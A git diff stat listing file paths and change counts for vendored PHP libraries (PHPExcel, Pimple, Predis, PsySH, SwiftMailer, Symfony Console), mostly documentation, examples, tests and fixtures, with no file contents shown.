.../assets/ClassDiagrams/ReaderWriter.cd | 135 + .../assets/ClassDiagrams/ReaderWriter.png | Bin 0 -> 57944 bytes .../FunctionReference/01-Introduction.md | 11 + .../02-01-Date-and-Time-Handling.md | 123 + .../02-General-Introduction.md | 36 + .../FunctionReference/03-01-Cube-Functions.md | 34 + .../03-02-Database-Functions.md | 618 + .../03-03-Date-and-Time-Functions.md | 1000 ++ .../Features/Autofilters/01-Autofilters.md | 19 + .../Autofilters/02-Setting-an-Autofilter.md | 24 + .../Autofilters/03-Autofilter-Expressions.md | 27 + .../04-01-Autofilter-Expressions-Simple.md | 52 + .../04-02-Autofilter-Expressions-Dategroup.md | 48 + .../04-03-Autofilter-Expressions-Custom.md | 84 + .../04-04-Autofilter-Expressions-Dynamic.md | 88 + .../04-05-Autofilter-Expressions-Topten.md | 69 + .../Autofilters/05-Executing-Autofilters.md | 42 + .../Autofilters/06-Autofilter-Sorting.md | 7 + .../Autofilters/images/01-01-autofilter.png | Bin 0 -> 45173 bytes .../Autofilters/images/01-02-autofilter.png | Bin 0 -> 14496 bytes .../images/01-03-filter-icon-1.png | Bin 0 -> 453 bytes .../images/01-03-filter-icon-2.png | Bin 0 -> 640 bytes .../Autofilters/images/01-04-autofilter.png | Bin 0 -> 17489 bytes .../images/04-01-simple-autofilter.png | Bin 0 -> 67694 bytes .../images/04-02-dategroup-autofilter.png | Bin 0 -> 49268 bytes .../images/04-03-custom-autofilter-1.png | Bin 0 -> 51786 bytes .../images/04-03-custom-autofilter-2.png | Bin 0 -> 53489 bytes .../images/04-04-dynamic-autofilter.png | Bin 0 -> 111531 bytes .../images/04-05-topten-autofilter-1.png | Bin 0 -> 53737 bytes .../images/04-05-topten-autofilter-2.png | Bin 0 -> 22842 bytes .../Functions/FunctionListByCategory.md | 411 + .../markdown/Functions/FunctionListByName.md | 485 + .../markdown/Overview/01-Getting-Started.md | 179 + .../markdown/Overview/02-Architecture.md | 76 + .../Overview/03-Creating-a-Spreadsheet.md | 34 + .../Overview/04-Configuration-Settings.md | 140 + .../Overview/05-Deleting-a-Workbook.md | 13 + .../markdown/Overview/06-Worksheets.md | 94 + .../markdown/Overview/07-Accessing-Cells.md | 390 + .../markdown/Overview/08-Recipes.md | 1214 ++ .../Overview/09-Calculation-Engine.md | 52 + .../Overview/10-Reading-and-Writing.md | 714 ++ .../markdown/Overview/11-Appendices.md | 100 + .../markdown/Overview/images/01-schematic.png | Bin 0 -> 14519 bytes .../Overview/images/02-readers-writers.png | Bin 0 -> 55819 bytes .../Overview/images/07-simple-example-1.png | Bin 0 -> 12239 bytes .../Overview/images/07-simple-example-2.png | Bin 0 -> 9620 bytes .../Overview/images/07-simple-example-3.png | Bin 0 -> 7157 bytes .../Overview/images/07-simple-example-4.png | Bin 0 -> 8018 bytes .../Overview/images/08-cell-comment.png | Bin 0 -> 31473 bytes .../Overview/images/08-column-width.png | Bin 0 -> 14985 bytes .../Overview/images/08-page-setup-margins.png | Bin 0 -> 125173 bytes .../images/08-page-setup-scaling-options.png | Bin 0 -> 24136 bytes .../images/08-styling-border-options.png | Bin 0 -> 18878 bytes .../images/09-command-line-calculation.png | Bin 0 -> 44332 bytes .../Overview/images/09-formula-in-cell-1.png | Bin 0 -> 26053 bytes .../Overview/images/09-formula-in-cell-2.png | Bin 0 -> 34014 bytes .../01-File-Formats.md | 60 + .../ReadingSpreadsheetFiles/02-Security.md | 13 + .../03-Loading-a-Spreadsheet.md | 21 + .../04-Loading-with-a-Reader.md | 56 + .../05-Reader-Options.md | 392 + .../06-Error-Handling.md | 20 + .../07-Helper-Methods.md | 47 + vendor/phpoffice/phpexcel/Examples/.gitignore | 5 + .../phpexcel/Examples/01pharSimple.php | 112 + .../Examples/01simple-download-ods.php | 89 + .../Examples/01simple-download-pdf.php | 104 + .../Examples/01simple-download-xls.php | 89 + .../Examples/01simple-download-xlsx.php | 89 + .../phpoffice/phpexcel/Examples/01simple.php | 125 + .../phpexcel/Examples/01simplePCLZip.php | 106 + .../phpexcel/Examples/02types-xls.php | 183 + .../phpoffice/phpexcel/Examples/02types.php | 204 + .../phpexcel/Examples/03formulas.php | 149 + .../phpexcel/Examples/04printing.php | 125 + .../phpexcel/Examples/05featuredemo.inc.php | 394 + .../phpexcel/Examples/05featuredemo.php | 78 + .../06largescale-with-cellcaching-sqlite.php | 129 + .../06largescale-with-cellcaching-sqlite3.php | 129 + .../06largescale-with-cellcaching.php | 128 + .../phpexcel/Examples/06largescale-xls.php | 136 + .../phpexcel/Examples/06largescale.php | 136 + .../phpoffice/phpexcel/Examples/07reader.php | 76 + .../phpexcel/Examples/07readerPCLZip.php | 79 + .../Examples/08conditionalformatting.php | 189 + .../Examples/08conditionalformatting2.php | 136 + .../phpexcel/Examples/09pagebreaks.php | 134 + .../Examples/10autofilter-selection-1.php | 221 + .../Examples/10autofilter-selection-2.php | 213 + .../10autofilter-selection-display.php | 198 + .../phpexcel/Examples/10autofilter.php | 171 + .../Examples/11documentsecurity-xls.php | 109 + .../phpexcel/Examples/11documentsecurity.php | 109 + .../phpexcel/Examples/12cellProtection.php | 107 + .../phpexcel/Examples/13calculation.php | 235 + .../Examples/13calculationCyclicFormulae.php | 97 + .../phpoffice/phpexcel/Examples/14excel5.php | 63 + .../Examples/15datavalidation-xls.php | 155 + .../phpexcel/Examples/15datavalidation.php | 156 + vendor/phpoffice/phpexcel/Examples/16csv.php | 105 + vendor/phpoffice/phpexcel/Examples/17html.php | 64 + .../Examples/18extendedcalculation.php | 108 + .../phpexcel/Examples/19namedrange.php | 129 + .../phpexcel/Examples/20readexcel5.php | 79 + vendor/phpoffice/phpexcel/Examples/21pdf.php | 94 + .../phpexcel/Examples/22heavilyformatted.php | 116 + .../phpexcel/Examples/23sharedstyles.php | 124 + .../phpexcel/Examples/24readfilter.php | 77 + .../phpexcel/Examples/25inmemoryimage.php | 89 + vendor/phpoffice/phpexcel/Examples/26utf8.php | 122 + .../phpexcel/Examples/27imagesexcel5.php | 64 + .../phpexcel/Examples/28iterator.php | 82 + .../Examples/29advancedvaluebinder.php | 183 + .../phpexcel/Examples/30template.php | 91 + .../Examples/31docproperties_write-xls.php | 119 + .../Examples/31docproperties_write.php | 119 + .../phpexcel/Examples/32chartreadwrite.php | 131 + .../phpexcel/Examples/33chartcreate-area.php | 142 + .../Examples/33chartcreate-bar-stacked.php | 145 + .../phpexcel/Examples/33chartcreate-bar.php | 145 + .../Examples/33chartcreate-column-2.php | 154 + .../Examples/33chartcreate-column.php | 145 + .../Examples/33chartcreate-composite.php | 203 + .../phpexcel/Examples/33chartcreate-line.php | 142 + .../33chartcreate-multiple-charts.php | 220 + .../phpexcel/Examples/33chartcreate-pie.php | 215 + .../phpexcel/Examples/33chartcreate-radar.php | 155 + .../Examples/33chartcreate-scatter.php | 139 + .../phpexcel/Examples/33chartcreate-stock.php | 151 + .../phpexcel/Examples/34chartupdate.php | 78 + .../phpexcel/Examples/35chartrender.php | 134 + .../Examples/36chartreadwriteHTML.php | 151 + .../phpexcel/Examples/36chartreadwritePDF.php | 174 + .../phpexcel/Examples/37page_layout_view.php | 83 + .../phpexcel/Examples/38cloneWorksheet.php | 118 + .../phpexcel/Examples/39dropdown.php | 175 + .../phpexcel/Examples/40duplicateStyle.php | 51 + .../phpexcel/Examples/41password.php | 84 + .../phpexcel/Examples/42richText.php | 164 + .../phpexcel/Examples/43mergeWorkbooks.php | 91 + .../phpexcel/Examples/44worksheetInfo.php | 58 + .../phpexcel/Examples/Excel2003XMLReader.php | 61 + .../phpexcel/Examples/Excel2003XMLTest.xml | 1 + .../phpexcel/Examples/GnumericReader.php | 60 + .../phpexcel/Examples/GnumericTest.gnumeric | Bin 0 -> 7823 bytes .../phpexcel/Examples/OOCalcReader.php | 61 + .../phpexcel/Examples/OOCalcReaderPCLZip.php | 64 + .../phpexcel/Examples/OOCalcTest.ods | Bin 0 -> 17931 bytes .../phpoffice/phpexcel/Examples/Quadratic.php | 68 + .../phpexcel/Examples/Quadratic2.php | 65 + .../phpexcel/Examples/SylkReader.php | 50 + .../phpoffice/phpexcel/Examples/SylkTest.slk | 152 + .../phpoffice/phpexcel/Examples/XMLReader.php | 60 + .../phpoffice/phpexcel/Examples/XMLTest.xml | 450 + .../Examples/data/continents/Africa.txt | 54 + .../Examples/data/continents/Asia.txt | 44 + .../Examples/data/continents/Europe.txt | 47 + .../data/continents/North America.txt | 23 + .../Examples/data/continents/Oceania.txt | 14 + .../data/continents/South America.txt | 12 + .../phpexcel/Examples/images/paid.png | Bin 0 -> 1605 bytes .../Examples/images/phpexcel_logo.gif | Bin 0 -> 6104 bytes vendor/phpoffice/phpexcel/Examples/runall.php | 132 + vendor/pimple/pimple/.travis.yml | 40 + vendor/pimple/pimple/README.rst | 326 + vendor/pimple/pimple/ext/pimple/.gitignore | 30 + vendor/pimple/pimple/ext/pimple/README.md | 12 + vendor/pimple/pimple/ext/pimple/config.m4 | 63 + vendor/pimple/pimple/ext/pimple/config.w32 | 13 + vendor/pimple/pimple/ext/pimple/php_pimple.h | 137 + vendor/pimple/pimple/ext/pimple/pimple.c | 1114 ++ .../pimple/pimple/ext/pimple/pimple_compat.h | 81 + .../pimple/pimple/ext/pimple/tests/001.phpt | 45 + .../pimple/pimple/ext/pimple/tests/002.phpt | 15 + .../pimple/pimple/ext/pimple/tests/003.phpt | 16 + .../pimple/pimple/ext/pimple/tests/004.phpt | 30 + .../pimple/pimple/ext/pimple/tests/005.phpt | 27 + .../pimple/pimple/ext/pimple/tests/006.phpt | 51 + .../pimple/pimple/ext/pimple/tests/007.phpt | 22 + .../pimple/pimple/ext/pimple/tests/008.phpt | 29 + .../pimple/pimple/ext/pimple/tests/009.phpt | 13 + .../pimple/pimple/ext/pimple/tests/010.phpt | 45 + .../pimple/pimple/ext/pimple/tests/011.phpt | 19 + .../pimple/pimple/ext/pimple/tests/012.phpt | 28 + .../pimple/pimple/ext/pimple/tests/013.phpt | 33 + .../pimple/pimple/ext/pimple/tests/014.phpt | 30 + .../pimple/pimple/ext/pimple/tests/015.phpt | 17 + .../pimple/pimple/ext/pimple/tests/016.phpt | 24 + .../pimple/pimple/ext/pimple/tests/017.phpt | 17 + .../pimple/pimple/ext/pimple/tests/017_1.phpt | 17 + .../pimple/pimple/ext/pimple/tests/018.phpt | 23 + .../pimple/pimple/ext/pimple/tests/019.phpt | 18 + .../pimple/pimple/ext/pimple/tests/bench.phpb | 51 + .../pimple/ext/pimple/tests/bench_shared.phpb | 25 + vendor/pimple/pimple/phpunit.xml.dist | 14 + .../src/Pimple/Tests/Fixtures/Invokable.php | 38 + .../Pimple/Tests/Fixtures/NonInvokable.php | 34 + .../Tests/Fixtures/PimpleServiceProvider.php | 54 + .../src/Pimple/Tests/Fixtures/Service.php | 35 + .../PimpleServiceProviderInterfaceTest.php | 76 + .../pimple/src/Pimple/Tests/PimpleTest.php | 589 + .../src/Pimple/Tests/Psr11/ContainerTest.php | 77 + .../Pimple/Tests/Psr11/ServiceLocatorTest.php | 134 + .../src/Pimple/Tests/ServiceIteratorTest.php | 52 + vendor/predis/predis/CHANGELOG.md | 1109 ++ vendor/predis/predis/bin/create-command-test | 275 + vendor/predis/predis/bin/create-pear | 233 + vendor/predis/predis/bin/create-phar | 71 + vendor/predis/predis/bin/create-single-file | 662 + .../examples/custom_cluster_distributor.php | 117 + .../predis/examples/debuggable_connection.php | 92 + .../predis/examples/dispatcher_loop.php | 79 + .../examples/executing_redis_commands.php | 57 + .../predis/predis/examples/key_prefixing.php | 36 + .../examples/lua_scripting_abstraction.php | 71 + .../predis/examples/monitor_consumer.php | 44 + .../predis/examples/pipelining_commands.php | 45 + .../predis/examples/pubsub_consumer.php | 59 + .../examples/redis_collections_iterators.php | 99 + .../predis/examples/replication_complex.php | 85 + .../predis/examples/replication_sentinel.php | 58 + .../predis/examples/replication_simple.php | 52 + .../predis/examples/session_handler.php | 52 + vendor/predis/predis/examples/shared.php | 48 + .../predis/examples/transaction_using_cas.php | 52 + vendor/predis/predis/tests/README.md | 82 + vendor/predis/predis/tests/apply-patches.php | 16 + .../predis/tests/phpunit_mock_objects.patch | 38 + vendor/predis/predis/tests/phpunit_php7.patch | 60 + vendor/predis/predis/tests/phpunit_php8.patch | 39 + .../predis/predis/tests/phpunit_php81.patch | 50 + vendor/psr/http-message/CHANGELOG.md | 36 + vendor/psy/psysh/.travis.yml | 24 + vendor/psy/psysh/bin/build | 6 + vendor/psy/psysh/bin/build-manual | 285 + vendor/psy/psysh/bin/build-phar | 33 + vendor/psy/psysh/bin/build-vendor | 7 + vendor/psy/psysh/bin/psysh | 135 + vendor/psy/psysh/phpunit.xml.dist | 12 + .../psysh/test/Psy/Test/AutoloaderTest.php | 23 + .../CodeCleaner/AbstractClassPassTest.php | 61 + .../AssignThisVariablePassTest.php | 62 + .../CallTimePassByReferencePassTest.php | 73 + .../Test/CodeCleaner/CalledClassPassTest.php | 98 + .../Test/CodeCleaner/CodeCleanerTestCase.php | 98 + .../Psy/Test/CodeCleaner/ExitPassTest.php | 51 + .../Fixtures/ClassWithCallStatic.php | 20 + .../CodeCleaner/Fixtures/ClassWithStatic.php | 20 + .../FunctionReturnInWriteContextPassTest.php | 78 + .../CodeCleaner/ImplicitReturnPassTest.php | 39 + .../Test/CodeCleaner/InstanceOfPassTest.php | 74 + .../CodeCleaner/LeavePsyshAlonePassTest.php | 69 + .../Test/CodeCleaner/LegacyEmptyPassTest.php | 77 + .../CodeCleaner/MagicConstantsPassTest.php | 39 + .../Test/CodeCleaner/NamespacePassTest.php | 49 + .../CodeCleaner/StaticConstructorPassTest.php | 91 + .../Test/CodeCleaner/StrictTypesPassTest.php | 53 + .../Test/CodeCleaner/UseStatementPassTest.php | 52 + .../CodeCleaner/ValidClassNamePassTest.php | 279 + .../CodeCleaner/ValidConstantPassTest.php | 66 + .../CodeCleaner/ValidFunctionNamePassTest.php | 130 + .../psysh/test/Psy/Test/CodeCleanerTest.php | 95 + .../psysh/test/Psy/Test/ConfigurationTest.php | 241 + .../test/Psy/Test/ConsoleColorFactoryTest.php | 51 + .../Psy/Test/Exception/BreakExceptionTest.php | 34 + .../Psy/Test/Exception/ErrorExceptionTest.php | 108 + .../Exception/FatalErrorExceptionTest.php | 46 + .../Exception/ParseErrorExceptionTest.php | 43 + .../Test/Exception/RuntimeExceptionTest.php | 31 + .../Psy/Test/Formatter/CodeFormatterTest.php | 61 + .../Test/Formatter/DocblockFormatterTest.php | 63 + .../Test/Formatter/SignatureFormatterTest.php | 77 + .../Psy/Test/Readline/GNUReadlineTest.php | 80 + .../test/Psy/Test/Readline/LibeditTest.php | 128 + .../test/Psy/Test/Readline/TransientTest.php | 76 + .../Reflection/ReflectionConstantTest.php | 60 + vendor/psy/psysh/test/Psy/Test/ShellTest.php | 340 + .../Test/TabCompletion/AutoCompleterTest.php | 145 + .../Psy/Test/TabCompletion/StaticSample.php | 27 + .../psysh/test/Psy/Test/Util/DocblockTest.php | 96 + .../psysh/test/Psy/Test/Util/MirrorTest.php | 80 + .../psy/psysh/test/Psy/Test/Util/StrTest.php | 31 + vendor/psy/psysh/test/fixtures/config.php | 18 + .../fixtures/default/.config/psysh/config.php | 1 + .../default/.config/psysh/psysh_history | 0 .../.local/share/psysh/php_manual.sqlite | 0 vendor/psy/psysh/test/fixtures/empty.php | 12 + .../psysh/test/fixtures/legacy/.psysh/history | 0 .../fixtures/legacy/.psysh/php_manual.sqlite | 0 .../psysh/test/fixtures/legacy/.psysh/rc.php | 1 + .../test/fixtures/mixed/.psysh/config.php | 1 + .../test/fixtures/mixed/.psysh/psysh_history | 0 .../psysh/test/fixtures/mixed/.psysh/rc.php | 1 + .../psysh/test/fixtures/project/.psysh.php | 15 + .../psysh/test/fixtures/unvis_fixtures.json | 1 + .../psysh/test/tools/gen_unvis_fixtures.py | 94 + vendor/psy/psysh/test/tools/vis.py | 126 + .../swiftmailer/.github/ISSUE_TEMPLATE.md | 19 + .../.github/PULL_REQUEST_TEMPLATE.md | 14 + vendor/swiftmailer/swiftmailer/.php_cs.dist | 15 + vendor/swiftmailer/swiftmailer/.travis.yml | 31 + .../swiftmailer/swiftmailer/doc/headers.rst | 739 ++ .../swiftmailer/doc/help-resources.rst | 44 + .../swiftmailer/doc/including-the-files.rst | 46 + vendor/swiftmailer/swiftmailer/doc/index.rst | 16 + .../swiftmailer/doc/installing.rst | 89 + .../swiftmailer/doc/introduction.rst | 135 + .../swiftmailer/swiftmailer/doc/japanese.rst | 22 + .../swiftmailer/swiftmailer/doc/messages.rst | 1058 ++ .../swiftmailer/swiftmailer/doc/overview.rst | 159 + .../swiftmailer/swiftmailer/doc/plugins.rst | 385 + .../swiftmailer/swiftmailer/doc/sending.rst | 571 + .../swiftmailer/doc/uml/Encoders.graffle | Bin 0 -> 3503 bytes .../swiftmailer/doc/uml/Mime.graffle | Bin 0 -> 5575 bytes .../swiftmailer/doc/uml/Transports.graffle | Bin 0 -> 3061 bytes .../lib/swiftmailer_generate_mimes_config.php | 0 .../swiftmailer/swiftmailer/phpunit.xml.dist | 39 + .../tests/IdenticalBinaryConstraint.php | 62 + .../swiftmailer/tests/StreamCollector.php | 11 + .../tests/SwiftMailerSmokeTestCase.php | 46 + .../swiftmailer/tests/SwiftMailerTestCase.php | 34 + .../_samples/charsets/iso-2022-jp/one.txt | 11 + .../_samples/charsets/iso-8859-1/one.txt | 19 + .../tests/_samples/charsets/utf-8/one.txt | 22 + .../tests/_samples/charsets/utf-8/three.txt | 45 + .../tests/_samples/charsets/utf-8/two.txt | 3 + .../tests/_samples/dkim/dkim.test.priv | 15 + .../tests/_samples/dkim/dkim.test.pub | 6 + .../swiftmailer/tests/_samples/files/data.txt | 1 + .../tests/_samples/files/swiftmailer.png | Bin 0 -> 3194 bytes .../tests/_samples/files/textfile.zip | Bin 0 -> 202 bytes .../swiftmailer/tests/_samples/smime/CA.srl | 1 + .../swiftmailer/tests/_samples/smime/ca.crt | 21 + .../swiftmailer/tests/_samples/smime/ca.key | 27 + .../tests/_samples/smime/create-cert.sh | 40 + .../tests/_samples/smime/encrypt.crt | 19 + .../tests/_samples/smime/encrypt.key | 27 + .../tests/_samples/smime/encrypt2.crt | 19 + .../tests/_samples/smime/encrypt2.key | 27 + .../tests/_samples/smime/intermediate.crt | 19 + .../tests/_samples/smime/intermediate.key | 27 + .../swiftmailer/tests/_samples/smime/sign.crt | 19 + .../swiftmailer/tests/_samples/smime/sign.key | 27 + .../tests/_samples/smime/sign2.crt | 19 + .../tests/_samples/smime/sign2.key | 27 + .../tests/acceptance.conf.php.default | 37 + .../Swift/AttachmentAcceptanceTest.php | 12 + .../FileByteStreamAcceptanceTest.php | 162 + ...leCharacterReaderFactoryAcceptanceTest.php | 179 + .../DependencyContainerAcceptanceTest.php | 24 + .../Swift/EmbeddedFileAcceptanceTest.php | 12 + .../Encoder/Base64EncoderAcceptanceTest.php | 45 + .../Swift/Encoder/QpEncoderAcceptanceTest.php | 54 + .../Encoder/Rfc2231EncoderAcceptanceTest.php | 50 + .../Swift/EncodingAcceptanceTest.php | 30 + .../KeyCache/ArrayKeyCacheAcceptanceTest.php | 173 + .../KeyCache/DiskKeyCacheAcceptanceTest.php | 173 + .../Swift/MessageAcceptanceTest.php | 55 + .../Swift/Mime/AttachmentAcceptanceTest.php | 123 + .../Base64ContentEncoderAcceptanceTest.php | 56 + .../NativeQpContentEncoderAcceptanceTest.php | 88 + .../PlainContentEncoderAcceptanceTest.php | 88 + .../QpContentEncoderAcceptanceTest.php | 160 + .../Swift/Mime/EmbeddedFileAcceptanceTest.php | 136 + .../Base64HeaderEncoderAcceptanceTest.php | 32 + .../Swift/Mime/MimePartAcceptanceTest.php | 127 + .../Mime/SimpleMessageAcceptanceTest.php | 1249 ++ .../Swift/MimePartAcceptanceTest.php | 15 + .../AbstractStreamBufferAcceptanceTest.php | 131 + .../BasicSocketAcceptanceTest.php | 33 + .../StreamBuffer/ProcessAcceptanceTest.php | 26 + .../StreamBuffer/SocketTimeoutTest.php | 67 + .../StreamBuffer/SslSocketAcceptanceTest.php | 40 + .../StreamBuffer/TlsSocketAcceptanceTest.php | 39 + .../swiftmailer/tests/bootstrap.php | 21 + .../tests/bug/Swift/Bug111Test.php | 42 + .../tests/bug/Swift/Bug118Test.php | 20 + .../tests/bug/Swift/Bug206Test.php | 38 + .../tests/bug/Swift/Bug274Test.php | 21 + .../swiftmailer/tests/bug/Swift/Bug34Test.php | 75 + .../swiftmailer/tests/bug/Swift/Bug35Test.php | 73 + .../swiftmailer/tests/bug/Swift/Bug38Test.php | 192 + .../tests/bug/Swift/Bug518Test.php | 38 + .../swiftmailer/tests/bug/Swift/Bug51Test.php | 110 + .../tests/bug/Swift/Bug534Test.php | 38 + .../tests/bug/Swift/Bug650Test.php | 36 + .../swiftmailer/tests/bug/Swift/Bug71Test.php | 20 + .../swiftmailer/tests/bug/Swift/Bug76Test.php | 71 + ...FileByteStreamConsecutiveReadCallsTest.php | 19 + .../tests/fixtures/MimeEntityFixture.php | 67 + .../swiftmailer/tests/smoke.conf.php.default | 63 + .../smoke/Swift/Smoke/AttachmentSmokeTest.php | 33 + .../smoke/Swift/Smoke/BasicSmokeTest.php | 23 + .../Smoke/HtmlWithAttachmentSmokeTest.php | 31 + .../Swift/Smoke/InternationalSmokeTest.php | 40 + .../Swift/ByteStream/ArrayByteStreamTest.php | 201 + .../GenericFixedWidthReaderTest.php | 43 + .../CharacterReader/UsAsciiReaderTest.php | 52 + .../Swift/CharacterReader/Utf8ReaderTest.php | 65 + .../ArrayCharacterStreamTest.php | 358 + .../unit/Swift/DependencyContainerTest.php | 176 + .../unit/Swift/Encoder/Base64EncoderTest.php | 173 + .../unit/Swift/Encoder/QpEncoderTest.php | 400 + .../unit/Swift/Encoder/Rfc2231EncoderTest.php | 141 + .../unit/Swift/Events/CommandEventTest.php | 34 + .../unit/Swift/Events/EventObjectTest.php | 32 + .../unit/Swift/Events/ResponseEventTest.php | 38 + .../tests/unit/Swift/Events/SendEventTest.php | 97 + .../Events/SimpleEventDispatcherTest.php | 142 + .../Swift/Events/TransportChangeEventTest.php | 30 + .../Events/TransportExceptionEventTest.php | 41 + .../unit/Swift/KeyCache/ArrayKeyCacheTest.php | 240 + .../SimpleKeyCacheInputStreamTest.php | 73 + .../Mailer/ArrayRecipientIteratorTest.php | 42 + .../tests/unit/Swift/MailerTest.php | 145 + .../tests/unit/Swift/MessageTest.php | 129 + .../Swift/Mime/AbstractMimeEntityTest.php | 1092 ++ .../tests/unit/Swift/Mime/AttachmentTest.php | 318 + .../Base64ContentEncoderTest.php | 323 + .../PlainContentEncoderTest.php | 171 + .../ContentEncoder/QpContentEncoderTest.php | 516 + .../unit/Swift/Mime/EmbeddedFileTest.php | 55 + .../HeaderEncoder/Base64HeaderEncoderTest.php | 13 + .../HeaderEncoder/QpHeaderEncoderTest.php | 221 + .../Swift/Mime/Headers/DateHeaderTest.php | 69 + .../Mime/Headers/IdentificationHeaderTest.php | 189 + .../Swift/Mime/Headers/MailboxHeaderTest.php | 327 + .../Mime/Headers/ParameterizedHeaderTest.php | 398 + .../Swift/Mime/Headers/PathHeaderTest.php | 77 + .../Mime/Headers/UnstructuredHeaderTest.php | 355 + .../tests/unit/Swift/Mime/MimePartTest.php | 231 + .../Swift/Mime/SimpleHeaderFactoryTest.php | 166 + .../unit/Swift/Mime/SimpleHeaderSetTest.php | 737 ++ .../unit/Swift/Mime/SimpleMessageTest.php | 827 ++ .../unit/Swift/Mime/SimpleMimeEntityTest.php | 9 + .../Swift/Plugins/AntiFloodPluginTest.php | 93 + .../Plugins/BandwidthMonitorPluginTest.php | 128 + .../Swift/Plugins/DecoratorPluginTest.php | 267 + .../unit/Swift/Plugins/LoggerPluginTest.php | 188 + .../Swift/Plugins/Loggers/ArrayLoggerTest.php | 65 + .../Swift/Plugins/Loggers/EchoLoggerTest.php | 24 + .../Swift/Plugins/PopBeforeSmtpPluginTest.php | 101 + .../Swift/Plugins/RedirectingPluginTest.php | 183 + .../unit/Swift/Plugins/ReporterPluginTest.php | 86 + .../Plugins/Reporters/HitReporterTest.php | 64 + .../Plugins/Reporters/HtmlReporterTest.php | 54 + .../Swift/Plugins/ThrottlerPluginTest.php | 102 + .../unit/Swift/Signers/DKIMSignerTest.php | 225 + .../unit/Swift/Signers/OpenDKIMSignerTest.php | 45 + .../unit/Swift/Signers/SMimeSignerTest.php | 554 + .../ByteArrayReplacementFilterTest.php | 129 + .../StringReplacementFilterFactoryTest.php | 36 + .../StringReplacementFilterTest.php | 59 + .../AbstractSmtpEventSupportTest.php | 558 + .../unit/Swift/Transport/AbstractSmtpTest.php | 1249 ++ .../Esmtp/Auth/CramMd5AuthenticatorTest.php | 64 + .../Esmtp/Auth/LoginAuthenticatorTest.php | 64 + .../Esmtp/Auth/NTLMAuthenticatorTest.php | 213 + .../Esmtp/Auth/PlainAuthenticatorTest.php | 67 + .../Swift/Transport/Esmtp/AuthHandlerTest.php | 165 + .../EsmtpTransport/ExtensionSupportTest.php | 529 + .../Swift/Transport/EsmtpTransportTest.php | 297 + .../Swift/Transport/FailoverTransportTest.php | 518 + .../Transport/LoadBalancedTransportTest.php | 749 ++ .../Swift/Transport/MailTransportTest.php | 533 + .../Swift/Transport/SendmailTransportTest.php | 151 + .../unit/Swift/Transport/StreamBufferTest.php | 43 + vendor/symfony/console/CHANGELOG.md | 62 + .../symfony/console/Tests/ApplicationTest.php | 1276 ++ .../console/Tests/Command/CommandTest.php | 404 + .../console/Tests/Command/HelpCommandTest.php | 71 + .../console/Tests/Command/ListCommandTest.php | 113 + .../Descriptor/AbstractDescriptorTest.php | 107 + .../Tests/Descriptor/JsonDescriptorTest.php | 35 + .../Descriptor/MarkdownDescriptorTest.php | 45 + .../Tests/Descriptor/ObjectsProvider.php | 82 + .../Tests/Descriptor/TextDescriptorTest.php | 45 + .../Tests/Descriptor/XmlDescriptorTest.php | 27 + .../console/Tests/Fixtures/BarBucCommand.php | 11 + .../Tests/Fixtures/DescriptorApplication1.php | 18 + .../Tests/Fixtures/DescriptorApplication2.php | 24 + .../DescriptorApplicationMbString.php | 24 + .../Tests/Fixtures/DescriptorCommand1.php | 27 + .../Tests/Fixtures/DescriptorCommand2.php | 32 + .../Fixtures/DescriptorCommandMbString.php | 32 + .../console/Tests/Fixtures/DummyOutput.php | 36 + .../console/Tests/Fixtures/Foo1Command.php | 26 + .../console/Tests/Fixtures/Foo2Command.php | 21 + .../console/Tests/Fixtures/Foo3Command.php | 29 + .../console/Tests/Fixtures/Foo4Command.php | 11 + .../console/Tests/Fixtures/Foo5Command.php | 10 + .../console/Tests/Fixtures/Foo6Command.php | 12 + .../console/Tests/Fixtures/FooCommand.php | 33 + .../console/Tests/Fixtures/FooOptCommand.php | 36 + .../Fixtures/FooSubnamespaced1Command.php | 26 + .../Fixtures/FooSubnamespaced2Command.php | 26 + .../console/Tests/Fixtures/FoobarCommand.php | 25 + .../Style/SymfonyStyle/command/command_0.php | 11 + .../Style/SymfonyStyle/command/command_1.php | 13 + .../Style/SymfonyStyle/command/command_10.php | 17 + .../Style/SymfonyStyle/command/command_11.php | 12 + .../Style/SymfonyStyle/command/command_12.php | 13 + .../Style/SymfonyStyle/command/command_2.php | 16 + .../Style/SymfonyStyle/command/command_3.php | 12 + .../Style/SymfonyStyle/command/command_4.php | 34 + .../Style/SymfonyStyle/command/command_5.php | 29 + .../Style/SymfonyStyle/command/command_6.php | 16 + .../Style/SymfonyStyle/command/command_7.php | 15 + .../Style/SymfonyStyle/command/command_8.php | 26 + .../Style/SymfonyStyle/command/command_9.php | 11 + .../Style/SymfonyStyle/output/output_0.txt | 3 + .../Style/SymfonyStyle/output/output_1.txt | 9 + .../Style/SymfonyStyle/output/output_10.txt | 7 + .../Style/SymfonyStyle/output/output_11.txt | 4 + .../Style/SymfonyStyle/output/output_12.txt | 7 + .../Style/SymfonyStyle/output/output_2.txt | 13 + .../Style/SymfonyStyle/output/output_3.txt | 7 + .../Style/SymfonyStyle/output/output_4.txt | 32 + .../Style/SymfonyStyle/output/output_5.txt | 11 + .../Style/SymfonyStyle/output/output_6.txt | 6 + .../Style/SymfonyStyle/output/output_7.txt | 5 + .../Style/SymfonyStyle/output/output_8.txt | 9 + .../Style/SymfonyStyle/output/output_9.txt | 5 + .../console/Tests/Fixtures/TestCommand.php | 28 + .../console/Tests/Fixtures/TestTiti.php | 21 + .../console/Tests/Fixtures/TestToto.php | 22 + .../console/Tests/Fixtures/application_1.json | 172 + .../console/Tests/Fixtures/application_1.md | 201 + .../console/Tests/Fixtures/application_1.txt | 17 + .../console/Tests/Fixtures/application_1.xml | 110 + .../console/Tests/Fixtures/application_2.json | 354 + .../console/Tests/Fixtures/application_2.md | 396 + .../console/Tests/Fixtures/application_2.txt | 22 + .../console/Tests/Fixtures/application_2.xml | 190 + .../Tests/Fixtures/application_astext1.txt | 20 + .../Tests/Fixtures/application_astext2.txt | 16 + .../Tests/Fixtures/application_asxml1.txt | 146 + .../Tests/Fixtures/application_asxml2.txt | 37 + .../Tests/Fixtures/application_gethelp.txt | 1 + .../Tests/Fixtures/application_mbstring.md | 309 + .../Tests/Fixtures/application_mbstring.txt | 19 + .../Fixtures/application_renderexception1.txt | 6 + .../Fixtures/application_renderexception2.txt | 8 + .../Fixtures/application_renderexception3.txt | 18 + .../application_renderexception3decorated.txt | 18 + .../Fixtures/application_renderexception4.txt | 7 + ...plication_renderexception_doublewidth1.txt | 8 + ..._renderexception_doublewidth1decorated.txt | 8 + ...plication_renderexception_doublewidth2.txt | 9 + ...plication_renderexception_escapeslines.txt | 9 + ...application_renderexception_linebreaks.txt | 11 + .../Tests/Fixtures/application_run1.txt | 